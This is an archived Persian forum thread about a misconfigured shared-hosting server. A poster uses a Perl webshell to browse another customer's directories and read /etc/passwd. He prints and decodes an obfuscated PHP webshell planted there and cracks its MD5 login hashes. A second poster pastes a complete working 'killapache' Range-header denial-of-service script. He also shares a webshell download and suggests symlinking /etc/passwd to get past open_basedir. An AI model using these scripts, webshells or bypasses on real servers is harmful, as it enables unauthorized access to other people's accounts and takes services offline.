PDA

View Full Version : بررسی کانفیگ غلط یک سرور



eshpilen
جمعه 28 بهمن 1390, 11:55 صبح
ابتدا وبشل پرل خود را اجرا میکنیم.

شروع به تایپینگ فرمانها:


cd /home
Prompt وبشل:

[myacc: /home]$


ls -ld .
خروجی:

drwx--x--x 645 root root 20480 Feb 16 16:36 .


ls -l
خروجی:

ls: .: Permission denied
omg عجب پیام قاطعانه ای!
آیا این سرور امن است؟ یا صرفا توهمی از امنیت؟


cat /etc/passwd
بخشی از خروجی:

...
akbar:x:643:644::/home/akbar:/bin/false
...

نکته: نام اکانت واقعی بخاطر مسائل امنیتی با akbar تعویض شد.


ls -l akbar
خروجی:

ls: akbar: Permission denied

حالا بذار ببینیم ما که خودمون روی این سرور اکانت داریم، ساختار دایرکتوری های اکانت چطوریه.
با اجرای این دستور PHP تست میکنیم:

<?php

echo $_SERVER['DOCUMENT_ROOT'];

?>
خروجی:

/home/myacc/domains/mydomain.com/public_html
نکته: به دلایل امنیتی، نام کاربری خودم رو با myacc عوض کردم و نام دامین رو با mydomain.

خب حالا بریم سراغ اکبر!


ls -l /home/akbar/domains
خروجی:

drwxr-xr-x 8 akbar akbar 4096 Dec 24 00:26 akbar.ir


ls -l /home/akbar/domains/akbar.ir
خروجی:


drwxr-xr-x 3 akbar akbar 4096 Feb 17 00:33 awstats
drwx------ 2 akbar akbar 4096 Sep 3 2009 logs
drwx--x--x 3 akbar akbar 4096 Sep 2 2009 public_ftp
drwxr-xr-x 10 akbar akbar 4096 Aug 10 2010 public_html
drwxr-xr-x 2 akbar akbar 4096 Sep 3 2009 stats


cd /home/akbar/domains/akbar.ir/public_html
Prompt وبشل:

[myacc: /home/akbar/domains/akbar.ir/public_html]$


ls -l
خروجی:

drwxr-xr-x 2 akbar akbar 4096 Apr 20 2008 _private
drwxr-xr-x 4 akbar akbar 4096 Aug 18 2009 _vti_bin
drwxr-xr-x 2 akbar akbar 4096 Apr 20 2008 _vti_cnf
-rw-r--r-- 1 akbar akbar 1754 Apr 20 2008 _vti_inf.html
drwxr-xr-x 2 akbar akbar 4096 Apr 20 2008 _vti_log
drwxr-x--- 2 akbar akbar 4096 May 3 2008 _vti_pvt
drwxr-xr-x 2 akbar akbar 4096 Apr 20 2008 _vti_txt
drwxr-xr-x 2 akbar akbar 4096 Apr 20 2008 cgi-bin
drwxr-xr-x 3 akbar akbar 4096 May 6 2008 images
-rw-r--r-- 1 akbar akbar 81299 Jul 18 2010 img.php
-rw-r--r-- 1 akbar akbar 10349 May 6 2008 index.htm
-rw-r--r-- 1 akbar akbar 61360 May 6 2008 pege1.htm
-rw-r--r-- 1 akbar akbar 9447 May 6 2008 pege2.htm
-rw-r--r-- 1 akbar akbar 9295 May 6 2008 pege4.htm
-rw-r--r-- 1 akbar akbar 7964 May 6 2008 pege5.htm
-rw-r--r-- 1 akbar akbar 7868 May 6 2008 pege6.htm
-rw-r--r-- 1 akbar akbar 2445 Apr 20 2008 postinfo.html
-rw-r--r-- 1 akbar akbar 205726 Aug 10 2010 seecur.php

این فایل seecur.php توجه منو جلب کرد چون اسمش شبیه security هست. بریم ببینیم شاید توش پسوردی چیزی پیدا شد.


cat seecur.php
خروجی:

<?php
//include variable
$host = $_SERVER['HTTP_HOST'];
$uri = rtrim(dirname($_SERVER['PHP_SELF']), '/\\');
// $auth = 1; ( authentification = On )
// $auth = 0; ( authentification = Off )
$auth = 1;

// (Login & Password for access)
// !!! (CHANGE THIS!!!)
// Login & password crypted with md5, default is 'bilakh'
$name='86318e52f5ed4801abe1d13d509443de'; // (user login)
$pass='86318e52f5ed4801abe1d13d509443de'; //(user password)
/************************************************** ************************************************** **/
if($auth == 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
{
header('www-Authenticate: Basic realm=');
header('HTTP/1.0 401 Unauthorized');
exit;
}
}
eval("?>".base64_decode("PD9waHANCg0KIyoqKioqKioqKioqKioqKioqKioqKioqKi
...

بعلت طولانی بودن، کدها کوتاه شد.

خب ما این کد را بوسیله کد PHP زیر رمزگشایی میکنیم تا ببینیم چیه (هرچند تا همینجا از اون bilakh + رمزگذاری کدها میشه حدس زد):


file_put_contents('out.txt', base64_decode("PD9waHANCg0KIyoqKioqKioqKioqKioqKioqKioqKioqKioqKi oqKioq...


حالا محتویات فایل out.txt را بررسی میکنیم:


<?php

#*********************************************
# #attack3rz
# Altred by Ac Team ak
# http://www.h4ckz.net
#*********************************************

error_reporting(0);

$language='eng';

$auth = 0;

$name='eea73055a0cd895bf7400a0ac0a7be0b';
$pass='eea73055a0cd895bf7400a0ac0a7be0b';

@ini_restore("safe_mode");
@ini_restore("open_basedir");
@ini_restore("safe_mode_include_dir");
@ini_restore("safe_mode_exec_dir");
@ini_restore("disable_functions");
@ini_restore("allow_url_fopen");

...

بله فکر میکنم مطمئن گشتیم که یک نفر قبل از ما اینجا بوده!!

راستی اون هش 86318e52f5ed4801abe1d13d509443de رو هم دادم به سایت md5-decrypter.com میگه صاحبش ali است :متفکر:

علی هکر کجایی که خودت هک شدی :بامزه:

هش eea73055a0cd895bf7400a0ac0a7be0b رو نتونستم کرک کنم. کسی اگر فهمید رشتهء اولیه چی بوده بگه.

eshpilen
جمعه 28 بهمن 1390, 11:56 صبح
حالا یک نفر حرفه ای با تجربه بفرمایند که مشکل کانفیگ این سرور دقیقا چیه و چطور باید برطرفش کرد.
نکتهء آموزشی مثبتش اینجاست.
تاحالا که همش آموزش منفی بود :لبخند:

ضمنا PHP این سرور به روش CGI/FastCGI اجرا میشه.

mohsen24000
جمعه 28 بهمن 1390, 13:22 عصر
هش eea73055a0cd895bf7400a0ac0a7be0b رو نتونستم کرک کنم. کسی اگر فهمید رشتهء اولیه چی بوده بگه.
باید hmb104 باشه!

eshpilen
جمعه 28 بهمن 1390, 13:33 عصر
ایول. از کجا آوردی؟

mohsen24000
جمعه 28 بهمن 1390, 14:03 عصر
http://barnamenevis.org/showthread.php?325899-%D9%85%D9%82%D8%AF%D8%A7%D8%B1-%D8%A7%DB%8C%D9%86-%DA%A9%D8%AF-%DA%86%DB%8C%D9%87%D8%9F&p=1433366#post1433366

eshpilen
دوشنبه 01 اسفند 1390, 21:18 عصر
نخیر بعد از این مدت یک نفر هم نیامد از پرمیشن ها ایرادی بگیره.
بنظر شما پرمیشن ها هیچ ایرادی ندارن؟
فکر کنم مفید باشه پرمیشن فایلهای سایت خودتون رو قرار بدید تا مقایسه کنیم.

Net So
سه شنبه 02 اسفند 1390, 16:01 عصر
اول از همه که اصلا نباید دسترسی اجرای pl وجود داشته باشه ! چون من میام اینو اجرا میکنم سرور رو میخوابونم :D ( آپاچی )


use IO::Socket; use Parallel::ForkManager; sub usage { print "usage: perl killapache.pl <host> [numforks]\n"; print "example: perl killapache.pl www.example.com 50\n"; } sub killapache { print "ATTACKING $ARGV[0] [using $numforks forks]\n"; $pm = new Parallel::ForkManager($numforks); $|=1; srand(time()); $p = ""; for ($k=0;$k<1300;$k++) { $p .= ",5-$k"; } for ($k=0;$k<$numforks;$k++) { my $pid = $pm->start and next; $x = ""; my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto => 'tcp'); $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; print $sock $p; while(<$sock>) { } $pm->finish; } $pm->wait_all_children; print ":pPpPpppPpPPppPpppPp\n"; } sub testapache { my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto => 'tcp'); $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; print $sock $p; $x = <$sock>; if ($x =~ /Partial/) { print "host seems vuln\n"; return 1; } else { return 0; } } if ($#ARGV < 0) { usage; exit; } if ($#ARGV > 1) { $numforks = $ARGV[1]; } else {$numforks = 50;} $v = testapache(); if ($v == 0) { print "Host does not seem vulnerable\n"; exit; } while(1) { killapache(); }

وب سرورت Nginx نیست ؟ اگه هست ، چک کن phpini ت cgi.fix_pathinfo = 0 باشه.
Script ت + Data های مهمت رو از سرورت پاک کن ، url ش رو اینجا بزار هر چی bug داشته باشه + راه حل هاش بهت میگم.

eshpilen
سه شنبه 02 اسفند 1390, 19:19 عصر
url ش رو اینجا بزار هر چی bug داشته باشه + راه حل هاش بهت میگم.
متاسفانه به دلایل امنیتی نمیشه :لبخند:

Net So
سه شنبه 02 اسفند 1390, 20:48 عصر
میل خودت هست. من حتی گفتم Data هات رو هم بردار که سوء تفاهمی برات پیش نیاد.
اطلاعات بیشتر بده از سرورت. چیا روش نصبه ، چه OS ای داره ، چه وبسروری ، چه ورژن لینوکسی ، و ...
Footprinting رو که از رو هوا نمیتونم انجام بدم :D

eshpilen
جمعه 05 اسفند 1390, 12:12 عصر
سیستم عامل:

CentOS release 5.6 (Final)

Server API CGI/FastCGI
چیز دیگه هم میخوای بگو دربیارم.

Net So
جمعه 05 اسفند 1390, 13:36 عصر
Web Server Name + Version
Php Version
Control Panel Version فکر مینم Cpanel باشه دیگه ؟
phpino() هم بگیری بد نیست

ببین گفتم اصلا دسترسی اجرای Perl نباید وجود داشته باشه. اگر هم قراره باشه باید کاملا محدود باشه و در سطح Command های os نباشه.
احتمال میدم سروری که روش هستی Warez باشه و به همین خاطر هم انقدر داغونه :D
با این یه تست بزن ببین etc/passwd و Shadow رو میتونی بخونی ؟ مضاف بر این ببین Open Base Dir هم بازه رو سرورت یا نه :
سادست ولی با این وضع فعلی سرور قطعا نیازی به ByPass چیزی نداریم lol


http://uplod.ir/byit0o0u70rw/r.zip.htm

eshpilen
جمعه 05 اسفند 1390, 15:16 عصر
Web Server Name + Versionمنظورت چیه؟ مشخصات سیستم عاملش رو که گفتم.
دامین سرور هاست رو میخوای؟


Php Version5.2.17


Control Panel Version فکر مینم Cpanel باشه دیگه ؟ DirectAdmin


phpino() هم بگیری بد نیستگرفتم. میگی کلش رو بذارم؟ باید اول به دقت بررسی و مواردی که هویت رو افشا میکنن پاکسازی بشه. بعدم فکر نمیکنم نیازی باشه. چنتا چیز مهم و مربوط هست توش که همینطوری میپرسی میگم خب.


ببین گفتم اصلا دسترسی اجرای Perl نباید وجود داشته باشه. اگر هم قراره باشه باید کاملا محدود باشه و در سطح Command های os نباشه.دسترسی محدود نیست. البته تحت نام کاربری خودم اجرا میشه طبیعتا.


با این یه تست بزن ببین etc/passwd و Shadow رو میتونی بخونی ؟passwd خونده میشه. ولی /etc/shadow پرمیشن نمیده طبیعتا.
ضمنا اونطور که دیدم ظاهرا هش پسورد هر اکانت در یک فایل به اسم .shadow در دایرکتوری خانگی خودش قرار گرفته. این فایل هم پرمیشنی برای others نداره وگرنه احتمالا میتونستیم هش پسورد هرکس رو بدست بیاریم و بعدم حداقل بعضی ها رو کرک کنیم و به پسورد اصلی برسیم.

مضاف بر این ببین Open Base Dir هم بازه
open_basedir هم ست نشده.


http://uplod.ir/byit0o0u70rw/r.zip.htmگفتم مشکوک بید اول رمزگشایی کردم.
وبشل r57 که 12 بار کد شده.
حالا چیکارش کنم به دردی هم میخوره؟ بابا ما حرفه ایم نیازی به وبشل نداریم :لبخند:
چیکارا میکنه این؟
من گفتم شاید یه چیزی توش گذاشته باشن که آدرس سایت رو به مرکز مخابره کنه، واسه همین روی هاست تست نکردم.

Net So
جمعه 05 اسفند 1390, 16:38 عصر
منظورت چیه؟ مشخصات سیستم عاملش رو که گفتم.
دامین سرور هاست رو میخوای؟:|
WebServer !!!
php نویسی بعد تا حالا اسم Webserver به گوشت نخورده ؟ :D
lol
Apache/Tomcat/JBOSS/Neginx/lighttpd/Litespeed
اسمش رو بگو ...


5.2.17یکی از بهترین نسخه هاست از لحاظ امنیت.


DirectAdminok


گرفتم. میگی کلش رو بذارم؟ باید اول به دقت بررسی و مواردی که هویت رو افشا میکنن پاکسازی بشه. بعدم فکر نمیکنم نیازی باشه. چنتا چیز مهم و مربوط هست توش که همینطوری میپرسی میگم خب.lol
افشای هویت ؟ بی خیال ... خیلی جدی گرفتی ها ... Duran و پرتال های دولتی Exploit 0 - Day میدن ، عین خیالشون نیست بعد یه info افشا کنه ؟ هی وای من ... :D



خونده میشه. ولی /etc/shadow پرمیشن نمیده طبیعتا.
ضمنا اونطور که دیدم ظاهرا هش پسورد هر اکانت در یک فایل به اسم .shadow در دایرکتوری خانگی خودش قرار گرفته. این فایل هم پرمیشنی برای others نداره وگرنه احتمالا میتونستیم هش پسورد هرکس رو بدست بیاریم و بعدم حداقل بعضی ها رو کرک کنیم و به پسورد اصلی برسیم.
اگه etc بهت Perm داده شک نکن Shadow هم خونده میشه. فقط باید Bypass کرد محدودیت Perm ها رو.


open_basedir هم ست نشده.lol
holy f*cking crap
خوب کلا قید این سرور رو بزن از دست رفته :D
الان میتونی Dir اکانت های دیگه رو هم بخونی lol

گفتم مشکوک بید اول رمزگشایی کردم.
وبشل r57 که 12 بار کد شده.
عرف هست نمیگن WebShell میگن Shell .
r57 ادیت شده هست . چیز خیلی عجیب و غریبی نیست ... به زبان l33t هم نوشته نشده :D


حالا چیکارش کنم به دردی هم میخوره؟ بابا ما حرفه ایم نیازی به وبشل نداریم :لبخند:U Mad ?
FacePalm

چیکارا میکنه این؟
من گفتم شاید یه چیزی توش گذاشته باشن که آدرس سایت رو به مرکز مخابره کنه، واسه همین روی هاست تست نکردم. خوب پس 2 راه داری :D
بشین خط به خط بخون بعد که مطمئن شدی سالم هست بیا :D
Run ش کن ببین میتونی Symlink بزنی ...

eshpilen
جمعه 05 اسفند 1390, 17:11 عصر
:|
WebServer !!!
php نویسی بعد تا حالا اسم Webserver به گوشت نخورده ؟ :D
lol
Apache/Tomcat/JBOSS/Neginx/lighttpd/Litespeed
اسمش رو بگو ...

آهان از اون لحاظ :لبخند:
چون آپاچی خیلی متداول بود یادم رفت وب‌سرورهای دیگری هم روی لینوکس وجود دارن.


افشای هویت ؟ بی خیال ... خیلی جدی گرفتی ها ... Duran و پرتال های دولتی Exploit 0 - Day میدن ، عین خیالشون نیست بعد یه info افشا کنه ؟ هی وای من ... :D
اون اولش آدرس سرور اومده. گفتم نکنه یه جای دیگه هم چیزی باشه که هاستمون شناسایی بشه.


اگه etc بهت Perm داده شک نکن Shadow هم خونده میشه. فقط باید Bypass کرد محدودیت Perm ها رو.
خسته نباشید. خب مسئله همون Bypass کردن هست دیگه. مگه توی یه سیستم لینوکس میشه به همین راحتی پرمیشن ها رو دور زد؛ اونم جایی که پرمیشن root میخواد.


عرف هست نمیگن WebShell میگن Shell .
اطلاح دقیق و علمیش همون وبشله :لبخند:


بشین خط به خط بخون بعد که مطمئن شدی سالم هست بیا :D
یه نگاه سرسری کردم مثل اینکه چیز خطرناکی توش نبود.
فکر کردم شاید خودت کدی توش گذاشته باشی بخوای بفهمی هاستمون کجاست :متفکر:
چیکار کنم پارانویاست دیگه :لبخند:


Run ش کن ببین میتونی Symlink بزنی ...
جان؟ میشه بیشتر توضیح بدی؟

Net So
جمعه 05 اسفند 1390, 18:11 عصر
خسته نباشید. خب مسئله همون Bypass کردن هست دیگه. مگه توی یه سیستم لینوکس میشه به همین راحتی پرمیشن ها رو دور زد؛ اونم جایی که پرمیشن root میخواد.
به به تازه میگم Welcome to Pen Testing
n تا راه داره :D
اولا که لازم نیست حتما Perm روت رو بگیریم. راه زیاد داره ولی در اکثر موارد حتی میشه Perm Root رو هم گرفت :D
هر Ver ای از کرنل لینوکس Exploit Zero Day داره که بتونیLocal Root بشی :D
Perm هم میشه. ما به یه سرور نفوذ میکنیم ( به یه سایت از یه سرور ) بعد اونوقت به راحتی تمام سایت های دیگه که رو اون سرور هستن هم قابل دسترسی هستن :D
ورژن کرنل سیستمت رو بگو :D



اطلاح دقیق و علمیش همون وبشله :لبخند:
Herp Derp :لبخند::لبخند::لبخند:



یه نگاه سرسری کردم مثل اینکه چیز خطرناکی توش نبود.
فکر کردم شاید خودت کدی توش گذاشته باشی بخوای بفهمی هاستمون کجاست :متفکر:
چیکار کنم پارانویاست دیگه :لبخند:
:لبخند:


جان؟ میشه بیشتر توضیح بدی؟
فرضا :

symlink("/etc/passwd", "file");

ساده ممکنه به نظر برسه ولی خوب خیلی ها به راحتی از کنارش میگذرن. Google it

eshpilen
جمعه 05 اسفند 1390, 22:31 عصر
ورژن کرنل سیستمت رو بگوLinux 2.6.18-274.17.1.el5 x86_64



symlink("/etc/passwd", "file");

ساده ممکنه به نظر برسه ولی خوب خیلی ها به راحتی از کنارش میگذرن.میدونم symlink چیه، اما نفهمیدم کاربرد این کد چیه.
منظورت اینه که محدودیت open_basedir رو به این شکل دور بزنیم؟